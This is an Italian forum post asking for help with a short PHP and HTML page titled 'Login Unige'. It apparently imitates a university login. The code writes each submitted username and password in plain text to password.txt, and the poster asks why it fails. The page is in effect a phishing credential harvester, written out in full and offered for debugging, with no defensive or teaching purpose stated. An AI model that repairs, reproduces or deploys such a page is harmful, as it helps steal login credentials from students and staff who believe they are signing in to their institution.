Ciao a tutti
ho scritto questa semplice pagina html in modo da salvare quello che viene inviato come utente e psw su un file txt, ma non capisco come mai non funzioni

codice:
<?php
$username = $_POST['username'];
$password = $_POST['password'];
$apriw = fopen ("password.txt","a+");
$linea ="---------\n";
fputs($apriw,"$username\n");
fputs($apriw,"$password\n");
fputs($apriw,"$linea");
fclose($apriw);
?>


<html>

<head>

<title>Login Unige</title>

</head>

<body>

<form action="#" method="post">

  <table width="50%" border="0" align="center" cellpadding="4" cellspacing="0">

    <tr>

      <td width="22%">Username</td>

      <td width="78%"><input name="username" type="text" id="username"></td>

    </tr>

    <tr>

      <td>Password</td>

      <td><input name="password" type="password" id="password"></td>

    </tr>

    <tr>

      <td></td>

      <td><input type="submit" name="Submit" value="Submit"></td>

    </tr>

  </table>

</body>

</html>
Sapete dirmi dove sbaglio??

grazie